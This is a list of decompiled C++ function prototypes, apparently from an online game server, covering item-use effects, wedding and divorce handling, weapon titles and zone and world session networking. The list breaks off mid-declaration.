AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex(ORErrorMessage *this); void __thiscall UseEffect::UseItemSilverWing::UseItemSilverWing(UseEffect::UseItemSilverWing *this); void __thiscall UseEffect::UseItemNormal::UseItemNormal(UseEffect::UseItemNormal *this); void __thiscall UseEffect::UseItemRecallScroll::UseItemRecallScroll(UseEffect::UseItemRecallScroll *this); void __thiscall UseEffect::UseItemSkillScroll::UseItemSkillScroll(UseEffect::UseItemSkillScroll *this); void __thiscall UseEffect::UseItemChest::UseItemChest(UseEffect::UseItemChest *this); void __thiscall UseEffect::UseItemByTable::UseItemByTable(UseEffect::UseItemByTable *this); void __thiscall UseEffect::UseItemChargedBuff::UseItemChargedBuff(UseEffect::UseItemChargedBuff *this); void __thiscall UseEffect::UseItemMiniHouse::UseItemMiniHouse(UseEffect::UseItemMiniHouse *this); void __thiscall UseEffect::UseItemActionItem::UseItemActionItem(UseEffect::UseItemActionItem *this); void __thiscall UseEffect::UseItemMiniHouseFurniture::UseItemMiniHouseFurniture(UseEffect::UseItemMiniHouseFurniture *this); void __thiscall UseEffect::UseItemRide::UseItemRide(UseEffect::UseItemRide *this); void __thiscall UseEffect::UseItemHorseFood::UseItemHorseFood(UseEffect::UseItemHorseFood *this); void __thiscall UseEffect::UseItemChest::_UseItemChest(UseEffect::UseItemNoEffect *this); void __thiscall UseEffect::UseItemItemPackage::UseItemItemPackage(UseEffect::UseItemItemPackage *this); void __thiscall UseEffect::UseItemLicenseClear::UseItemLicenseClear(UseEffect::UseItemLicenseClear *this); void __thiscall UseEffect::UseItemStatClear::UseItemStatClear(UseEffect::UseItemStatClear *this, int dbreq, int err); void __thiscall UseEffect::UseItemAmountHP::UseItemAmountHP(UseEffect::UseItemAmountHP *this); void __thiscall UseEffect::UseItemAmountSP::UseItemAmountSP(UseEffect::UseItemAmountSP *this); void __thiscall UseEffect::UseItemRoar::UseItemRoar(UseEffect::UseItemRoar *this); void __thiscall UseEffect::UseItemSkillErase::UseItemSkillErase(UseEffect::UseItemSkillErase *this); void __thiscall UseEffect::UseItemWingStone::UseItemWingStone(UseEffect::UseItemWingStone *this); void __thiscall UseEffect::UseItemMemoryFeather::UseItemMemoryFeather(UseEffect::UseItemMemoryFeather *this); void __thiscall UseEffect::UseItemBossMobDetect::UseItemBossMobDetect(UseEffect::UseItemBossMobDetect *this); void __thiscall UseEffect::UseItemSkillDummy2Real::UseItemSkillDummy2Real(UseEffect::UseItemSkillDummy2Real *this); signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_CanRecallInThisMap(void *this); unsigned __int16 __thiscall UseEffect::UseItemBase::uib_CanUseItem(UseEffect::UseItemBase *this, #440 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemBossMobDetect::uib_CanUseItem(UseEffect::UseItemBossMobDetect *this, #440 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemMiniHouseFurniture::uib_CanUseItem(UseEffect::UseItemMiniHouseFurniture *this, #440 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemHorseFood::uib_CanUseItem(UseEffect::UseItemHorseFood *this, #440 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemSkillDummy2Real::uib_CanUseItem(UseEffect::UseItemSkillDummy2Real *this, #440 *, ItemTotalInformation *); void __thiscall UseEffect::UseItemHorseFood::uib_Effect(UseEffect::UseItemHorseFood *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemSkillDummy2Real::uib_Effect(UseEffect::UseItemSkillDummy2Real *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemPropose::UseItemPropose(UseEffect::UseItemPropose *this); unsigned __int16 __thiscall UseEffect::UseItemPropose::uib_CanUseItem(UseEffect::UseItemPropose *this, #440 *, ItemTotalInformation *); char __thiscall UseEffect::UseItemPropose::uib_DirectUse(UseEffect::UseItemPropose *this, #440 *, int, ItemTotalInformation *); void __thiscall UseEffect::UseItemImmediateDivorce::UseItemImmediateDivorce(UseEffect::UseItemImmediateDivorce *this); unsigned __int16 __thiscall UseEffect::UseItemImmediateDivorce::uib_CanUseItem(UseEffect::UseItemImmediateDivorce *this, #440 *, ItemTotalInformation *); char __thiscall UseEffect::UseItemImmediateDivorce::uib_DirectUse(UseEffect::UseItemImmediateDivorce *this, #440 *, int, ItemTotalInformation *); void __thiscall UseEffect::UseItemGuildReName::UseItemGuildReName(UseEffect::UseItemGuildReName *this); void __thiscall UseEffect::UseItemGuildReType::UseItemGuildReType(UseEffect::UseItemGuildReType *this); void __thiscall UseEffect::UseItemFurnitureEndureKit::UseItemFurnitureEndureKit(UseEffect::UseItemFurnitureEndureKit *this); int __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_ProtocolMake(UseEffect::UseItemFurnitureEndureKit *this, NETCOMMAND *nc); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureHnd(UseEffect::UseItemFurnitureEndureKit *this, unsigned __int16 *nFurnitureHnd); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureKey(UseEffect::UseItemFurnitureEndureKit *this, SHINE_ITEM_REGISTNUMBER *nKey); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureEndureTime(UseEffect::UseItemFurnitureEndureKit *this, ShineDateTime *dEndureTime); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall UseEffect::UseItemMysteryBolt::UseItemMysteryBolt(UseEffect::UseItemMysteryBolt *this); void __thiscall UseEffect::UsedItemEffect::UsedItemEffect(UseEffect::UsedItemEffect *this); void __thiscall GatherProduce::GatherTable::_GatherTable(GatherProduce::GatherTable *this); void __thiscall UseEffect::UsedItemEffect::uie_Load(UseEffect::UsedItemEffect *this); void __thiscall GameDBSession::gds_NC_ITEMDB_GETFROMCHESTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GETFROMCHESTFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountHP(void *this, int slot, __int16 inv); void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountSP(void *this, int slot, __int16 inv); void __thiscall ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(void *this, int slot, int itm); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedBuff(void *ply, int itm); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemEffect(void *this, int effect, unsigned __int16 value, int funcstr); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Notice(void *this, int str); void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Cancel(void *this, int inven); void __thiscall ShineObjectClass::ShinePlayer::sp_AttrChange2DB(void *this, int iic, int iac, int iti, int inven); int __thiscall ShineObjectClass::ShinePlayer::sp_SilverWing_PortalCast(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast(void *this, int inven); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMCHANGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall UseEffect::UseItemNoEffect::UseItemNoEffect(UseEffect::UseItemNoEffect *this); unsigned __int16 __thiscall UseEffect::UseItemSilverWing::uib_CanUseItem(UseEffect::UseItemSilverWing *this, #440 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemRecallScroll::uib_CanUseItem(UseEffect::UseItemRecallScroll *this, #440 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemSkillScroll::uib_CanUseItem(UseEffect::UseItemSkillScroll *this, #440 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemByTable::uib_CanUseItem(UseEffect::UseItemByTable *this, #440 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemChargedBuff::uib_CanUseItem(UseEffect::UseItemChargedBuff *this, #440 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemRide::uib_CanUseItem(UseEffect::UseItemRide *this, #440 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemMemoryFeather::uib_CanUseItem(UseEffect::UseItemMemoryFeather *this, #440 *, ItemTotalInformation *); void __thiscall ShineObjectClass::ShinePlayer::sp_ChestBoxOpen(void *this, __int16 slot, int itm); void __thiscall GameDBSession::gds_NC_ITEMDB_CHESTITEM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck(void *this, int ack); char __thiscall UseEffect::UseItemMiniHouse::uib_DirectUse(UseEffect::UseItemMiniHouse *this, #440 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemMiniHouseFurniture::uib_DirectUse(UseEffect::UseItemMiniHouseFurniture *this, #440 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemRide::uib_DirectUse(UseEffect::UseItemRide *this, #440 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemChest::uib_DirectUse(UseEffect::UseItemChest *this, #440 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemMysteryBolt::uib_DirectUse(UseEffect::UseItemMysteryBolt *this, #440 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemLicenseClear::uib_DirectUse(UseEffect::UseItemLicenseClear *this, #440 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemStatClear::uib_DirectUse(UseEffect::UseItemStatClear *this, #440 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemAmountHP::uib_DirectUse(UseEffect::UseItemAmountHP *this, #440 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemAmountSP::uib_DirectUse(UseEffect::UseItemAmountSP *this, #440 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemBossMobDetect::uib_DirectUse(UseEffect::UseItemBossMobDetect *this, #440 *, int, ItemTotalInformation *); void __thiscall UseEffect::UseItemRecallScroll::uib_Effect(UseEffect::UseItemRecallScroll *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemSkillScroll::uib_Effect(UseEffect::UseItemSkillScroll *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemByTable::uib_Effect(UseEffect::UseItemByTable *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemChargedBuff::uib_Effect(UseEffect::UseItemChargedBuff *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemItemPackage::uib_Effect(UseEffect::UseItemItemPackage *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemRoar::uib_Effect(UseEffect::UseItemRoar *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemSkillErase::uib_Effect(UseEffect::UseItemSkillErase *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemWingStone::uib_Effect(UseEffect::UseItemWingStone *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemMemoryFeather::uib_Effect(UseEffect::UseItemMemoryFeather *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemGuildReName::uib_Effect(UseEffect::UseItemGuildReName *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemGuildReType::uib_Effect(UseEffect::UseItemGuildReType *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemVariationProtocolBase::uib_AfterCast(UseEffect::UseItemVariationProtocolBase *this, #440 *, ItemBag *, ItemDataBox::ItemDataBoxIndex *, char); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SendErrorCode(UseEffect::UseItemFurnitureEndureKit *this, #440 *, unsigned __int16); int __thiscall ItemSmallBag::isb_FindEmpty(ItemSmallBag *this, #440 *sp); void __thiscall ShineObjectClass::ShinePlayer::sp_Move4Activ(void *sp, int slot, __int16 to, __int16 from); void __thiscall ServerMenuFuncter::smfm_Silverwing_Cancel(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_Silverwing_Portal(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Setloc(void *this, int inven); char __thiscall UseEffect::UseItemActionItem::uib_DirectUse(UseEffect::UseItemActionItem *this, #440 *, int, ItemTotalInformation *); void __thiscall ServerMenuFuncter::smfm_Silverwing_LocSet(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWingMenu(void *this, __int16 slot, int itm); char __thiscall UseEffect::UseItemSilverWing::uib_DirectUse(UseEffect::UseItemSilverWing *this, #440 *, int, ItemTotalInformation *); void __thiscall RestExpCalculate::RestExpCalculate(RestExpCalculate *this); unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecond(RestExpCalculate *this, const int *rNewTime, const int *rOldTime); unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecondNotDefaultTime(RestExpCalculate *this, const int *rNewTime, const int *rOldTime); bool __thiscall RestExpCalculate::RestExpAbstateApplication(RestExpCalculate *this, #440 *, const int *); WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon); WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon, unsigned int *pLevel); int __thiscall ShineObjectClass::ShinePlayer::so_ply_EquipWeapon(void *this, int inv); void __thiscall GameDBSession::gds_NC_WT_LICENSE_CLR_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_WT_LICENSE_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_WT_TITLE_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_saveweapontitle(void *this, int itemkey, __int16 mobid, int KillCount); void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear(void *this, int pReq, int weaponcell, int clearitemcell); signed int __thiscall ShineObjectClass::ShinePlayer::so_weapontitle(void *this, unsigned __int16 *mobid); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ItemInventoryCell::iic_WeaponTitleSave(ItemInventoryCell *this, #440 *sp); bool __thiscall ShineDateTime::operator>(ShineDateTime *this, ShineDateTime *Rhs); bool __thiscall ShineDateTime::operator<(ShineDateTime *this, ShineDateTime *Rhs); ShineDateTime *__thiscall ShineDateTime::operator__(ShineDateTime *this, ShineDateTimeSpan Rhs); __int64 __thiscall ShineDateTime::toTime_t(ShineDateTime *this); void __thiscall WeddingPerson::WeddingPerson(WeddingPerson *this); PassiveDataBox::SpecialSkill *__thiscall PassiveDataBox::sdb_SpecSkillStruct(PassiveDataBox *this); void __cdecl ProposeResult(#331 *, unsigned __int16, unsigned __int16); void __cdecl ProposeResult(#331 *, unsigned __int16, unsigned __int16, const char *); void __cdecl ReservResult(#331 *, unsigned __int16, __int64); unsigned __int16 __cdecl Checker::WhenBeProposed(); unsigned __int16 __cdecl Checker::WhenReserve(); unsigned __int16 __cdecl Checker::WhenReservePartner(); PROTO_NC_CHAR_WEDDINGDATA_ACK *__cdecl ShineObjectClass::ShineObject::so_ply_WeddingStatus(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingStatus(void *this); int __thiscall PROTO_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG::operator_(int this, int a2); char __thiscall WeddingHall::wh_GuestCanEnter(WeddingHall *this, PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *wedding_progress); unsigned __int16 __cdecl Checker::WhenPropose(); unsigned __int16 __cdecl Checker::WhenProposeBoth(); unsigned __int16 __cdecl Checker::ApplicationLimit(); int __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_(int this, int a2); unsigned __int16 __cdecl Checker::DelayLimit(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate(void *this, int wedding); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_DivorceProcess(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ(void *this, int netcmd, int len, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEACK_ACK(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_CHAR_WEDDING_CANCEL_WEDDING(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WeddingHall::WeddingHall(WeddingHall *this); char __thiscall WeddingHall::wh_Reserv(WeddingHall *this, #331 *, #331 *, __int64 *); void __thiscall ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_INFO_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_WEDDING_REFRESH_INFO_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall GameDBSession::gds_NC_CHAR_WEDDINGDATA_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_CANCEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_AGREE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_FORCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_DO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_ESCAPE_DIVORCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_PARTNER_INFO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); unsigned __int16 __cdecl Checker::DivorceLimit(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingData(void *this, int wed); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall WeddingHall::wh_Start(WeddingHall *this); bool __thiscall WeddingHall::wh_RecallCouple(WeddingHall *this, unsigned int regnum); void __thiscall WeddingHall::wh_Routine(WeddingHall *this); void __thiscall ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall WorldManagerSession::WorldManagerSession(WorldManagerSession *this); void __thiscall WorldManagerSession::_WorldManagerSession(WorldManagerSession *this); void __thiscall WorldManagerSession::wms_DummyFunction(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA(void *this, int param); int __thiscall ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK(void *this, int logsuc); void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATAFAIL_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATA_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_kickoff(WorldManagerSession *this, unsigned int usrregnum); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARTITLE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CT_CHARTTING_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CT_ADD_FRIEND_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_ZONE_PRISON_GO_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_GuildWarStatusRequest(WorldManagerSession *this); void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_EndOfKQPacket(WorldManagerSession *this, unsigned int kqhandle); void __thiscall WorldManagerSession::wms_NC_GUILD_STORAGE_WITHDRAW_GRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_GRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_RENAME_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_RETYPE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_SPAMMER_ZONE_CHAT_BAN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_ZONE_PRISON_END_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_SINGLE_OPTION_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ZoneBaseSession::_ZoneBaseSession(ZoneBaseSession *this); int __thiscall ZoneBaseSession::Close(ZoneBaseSession *this); int __thiscall ZoneBaseSession::Send(ZoneBaseSession *this, void *pData, int nSize); int __thiscall ZoneBaseSession::Receive(ZoneBaseSession *this); int __thiscall ZoneBaseSession::Socket_Register_To_IOCP(ZoneBaseSession *this, CIOCP *pIOCP); int __thiscall ZoneBaseSession::CheckHeartBeat(ZoneBaseSession *this, int interval); int __thiscall IOCPProcessSession::IOCP_Process(IOCPProcessSession *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes); int __thiscall ZoneBaseSession::Connect(ZoneBaseSession *this, char *pIPAddress, int PortNo, CIOCP *pIOCP); void __thiscall ZoneBaseSession::ZoneBaseSession(ZoneBaseSession *this); void __thiscall ZoneBaseSessionManager::ZoneBaseSessionManager(ZoneBaseSessionManager *this); void __thiscall ZoneBaseSessionManager::FreeSessions(ZoneBaseSessionManager *this); void __thiscall ZoneBaseSessionManager::ProcHeartBeat(ZoneBaseSessionManager *this, CIOCP *pIOCP); void __thiscall ZoneBaseSessionManager::_ZoneBaseSessionManager(ZoneBaseSessionManager *this); int __thiscall ZoneBaseSessionManager::InitSessions(ZoneBaseSessionManager *this, int MaxSessions); void __thiscall ZoneBaseSessionManager::EmptyToActive(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList); ZoneBaseSessionManager::LOGIN_SESSION_LIST *__thiscall ZoneBaseSessionManager::ActiveSession(ZoneBaseSessionManager *this, unsigned int SocketAccept, sockaddr *pAddr); void __thiscall ZoneBaseSessionManager::InactiveSession(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList); void __thiscall ZoneConnectSession::ZoneConnectSession(ZoneConnectSession *this); void __thiscall ZoneConnectSession::_ZoneConnectSession(ZoneConnectSession *this); void __thiscall ZoneRingPacketFindPlayer::ZoneRingPacketFindPlayer(ZoneRingPacketFindPlayer *this); void __thiscall ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus(ZoneRingPacketFindInstanceDungeon *this); void __thiscall ZoneRingPacketFindPlayerByNormalUser::ZoneRingPacketFindPlayerByNormalUser(ZoneRingPacketFindPlayerByNormalUser *this); void __thiscall ZoneRingPacketSummonPlayer::ZoneRingPacketSummonPlayer(ZoneRingPacketSummonPlayer *this); void __thiscall ZoneRingPacketKickPlayerOut::ZoneRingPacketKickPlayerOut(ZoneRingPacketKickPlayerOut *this); void __thiscall ZoneRingPacketItemBonus::ZoneRingPacketItemBonus(ZoneRingPacketItemBonus *this); void __thiscall ZoneRingPacketExpBonus::ZoneRingPacketExpBonus(ZoneRingPacketExpBonus *this); void __thiscall ZoneRingPacketSummonPartner::ZoneRingPacketSummonPartner(ZoneRingPacketSummonPartner *this); void __thiscall ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon(ZoneRingPacketFindInstanceDungeon *this); void __thiscall ZoneRingPacketEmtpyInstanceDungeon::ZoneRingPacketEmtpyInstanceDungeon(ZoneRingPacketEmtpyInstanceDungeon *this); void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Query(ZoneRingPacketFindInstanceDungeon *this, #331 *, NETCOMMAND *); void __thiscall ZoneConnectSession::zcs_Send(ZoneConnectSession *this, ProtocolPacket *pp, int len); void __thiscall ZoneRingPacketSummonPlayer::zrpb_Request(ZoneRingPacketSummonPlayer *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayer::zrpb_Request(ZoneRingPacketFindPlayer *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayerByNormalUser::zrpb_Request(ZoneRingPacketFindPlayerByNormalUser *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketKickPlayerOut::zrpb_Request(ZoneRingPacketKickPlayerOut *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketItemBonus::zrpb_Request(ZoneRingPacketItemBonus *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketExpBonus::zrpb_Request(ZoneRingPacketExpBonus *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPlayer::zrpb_Success(ZoneRingPacketSummonPlayer *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayer::zrpb_Success(ZoneRingPacketFindPlayer *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayerByNormalUser::zrpb_Success(ZoneRingPacketFindPlayerByNormalUser *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketKickPlayerOut::zrpb_Success(ZoneRingPacketKickPlayerOut *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPlayer::zrpb_Failure(ZoneRingPacketSummonPlayer *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayer::zrpb_Failure(ZoneRingPacketFindPlayer *this, #331 *, NETCOMMAND *); void __thiscall 